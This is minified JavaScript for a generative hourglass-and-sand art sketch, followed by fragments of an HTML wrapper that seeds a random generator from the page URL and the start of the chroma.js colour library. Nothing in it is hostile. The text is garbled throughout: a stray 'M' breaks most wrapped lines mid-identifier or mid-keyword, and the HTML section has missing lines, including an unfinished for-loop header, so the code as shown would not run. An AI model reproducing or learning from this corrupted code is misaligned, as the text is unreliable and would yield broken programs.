3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
